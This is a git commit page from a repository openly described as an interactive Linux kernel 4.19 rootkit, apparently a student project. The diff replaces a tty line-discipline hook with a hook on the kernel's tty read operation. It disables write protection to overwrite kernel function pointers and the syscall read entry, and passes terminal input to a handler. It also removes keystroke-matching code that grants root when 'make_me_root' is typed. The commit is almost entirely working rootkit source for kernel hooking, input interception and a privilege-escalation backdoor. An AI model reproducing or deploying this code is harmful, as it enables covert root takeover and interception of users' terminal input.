linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 9e8b827077e1f30478c22730330af2bf34cd123c
parent 944fb0a07f59ec649f94a4299d52a2a2101508a8
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 30 Nov 2020 03:12:31 +0100

implements tty_read hook

Diffstat:
Msrc/backdoor.c | 91++++++++++++++++++++++---------------------------------------------------------
Msrc/backdoor.h | 4++--
Msrc/hook.c | 3+--
3 files changed, 28 insertions(+), 70 deletions(-)

diff --git a/src/backdoor.c b/src/backdoor.c @@ -7,12 +7,7 @@ #include "read.h" #include "hook.h" -atomic_t receive_buf_count; -atomic_t receive_buf2_count; -struct tty_ldisc_ops *ops; - -void (*current_receive_buf)(struct tty_struct *, const unsigned char *, char *, int); -int (*current_receive_buf2)(struct tty_struct *, const unsigned char *, char *, int); +atomic_t tty_read_count; ssize_t (*current_tty_read)(struct file *, char *, size_t, loff_t *); @@ -30,8 +25,9 @@ void backdoor_tty(void) { if (!current_tty_read) { - disable_protection(); current_tty_read = ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read; + + disable_protection(); ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read = (void *)g7_tty_read; enable_protection(); } @@ -40,80 +36,43 @@ backdoor_tty(void) ssize_t g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off) { + atomic_inc(&tty_read_count); ssize_t ret = current_tty_read(file, buf, count, off); handle_pid(current->pid, buf, count); + atomic_dec(&tty_read_count); return ret; } void unbackdoor(void) { - if (ops) { - if (current_receive_buf2) { - ops->receive_buf2 = current_receive_buf2; - while (atomic_read(&receive_buf2_count) > 0); - current_receive_buf2 = NULL; - } else if (current_receive_buf) { - ops->receive_buf = current_receive_buf; - while (atomic_read(&receive_buf_count) > 0); - current_receive_buf = NULL; - } - - ops = NULL; - } + int cur; - if (sys_read) { - disable_protection(); - sys_calls[__NR_read] = (void *)sys_read; - enable_protection(); + if (current_tty_read) { + disable_protection(); + ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read = (void *)current_tty_read; + enable_protection(); - int cur; + while ((cur = atomic_read(&tty_read_count)) > 0) { + DEBUG_INFO("Waiting for %d tasks", cur); + msleep(250); + } - //Sleeping here is very important, as without it - //we would stall the CPU.. - while ((cur = atomic_read(&read_count)) > 0) { - DEBUG_INFO("Waiting for %d tasks", cur); - msleep(250); - } + current_tty_read = NULL; } -} - -void -g7_receive_buf(struct tty_struct *_tty, const unsigned char *cp, char *fp, int count) -{ - static char *buf = G7_BACKDOOR_MSG; - static size_t index = 0; - - atomic_inc(&receive_buf_count); + if (sys_read) { + disable_protection(); + sys_calls[__NR_read] = (void *)sys_read; + enable_protection(); - if (count == 1) { - // account for `echo` line discipline option by also - // counting double occurrences of each character (@else) - if (cp[0] == buf[index]) { - ++index; - } else if(!(index && cp[0] == buf[index - 1])) { - index = 0; + //Sleeping here is very important, as without it + //we would stall the CPU.. + while ((cur = atomic_read(&read_count)) > 0) { + DEBUG_INFO("Waiting for %d tasks", cur); + msleep(250); } - if (index == strlen(buf)) { - index = 0; - make_root(); - } + sys_read = NULL; } - - if (current_receive_buf) - current_receive_buf(_tty, cp, fp, count); - - atomic_dec(&receive_buf_count); -} - -int -g7_receive_buf2(struct tty_struct *_tty, const unsigned char *cp, char *fp, int count) -{ - atomic_inc(&receive_buf2_count); - g7_receive_buf(_tty, cp, fp, count); - int ret = current_receive_buf2(_tty, cp, fp, count); - atomic_dec(&receive_buf2_count); - return ret; } diff --git a/src/backdoor.h b/src/backdoor.h @@ -3,13 +3,13 @@ #define G7_BACKDOOR_MSG "make_me_root" +extern atomic_t tty_read_count; + void backdoor_read(void); void backdoor_tty(void); void unbackdoor(void); // hooks -void g7_receive_buf(struct tty_struct *, const unsigned char *, char *, int); -int g7_receive_buf2(struct tty_struct *, const unsigned char *, char *, int); ssize_t g7_tty_read(struct file *, char *, size_t, loff_t *); #endif//_GROUP7_BACKDOOR_H diff --git a/src/hook.c b/src/hook.c @@ -50,8 +50,7 @@ init_hooks(void) atomic_set(&getdents_install_count, 0); atomic_set(&read_count, 0); - atomic_set(&getdents_count, 0); - atomic_set(&getdents64_count, 0); + atomic_set(&tty_read_count, 0); sys_read = (void *)sys_calls[__NR_read]; sys_getdents = (void *)sys_calls[__NR_getdents];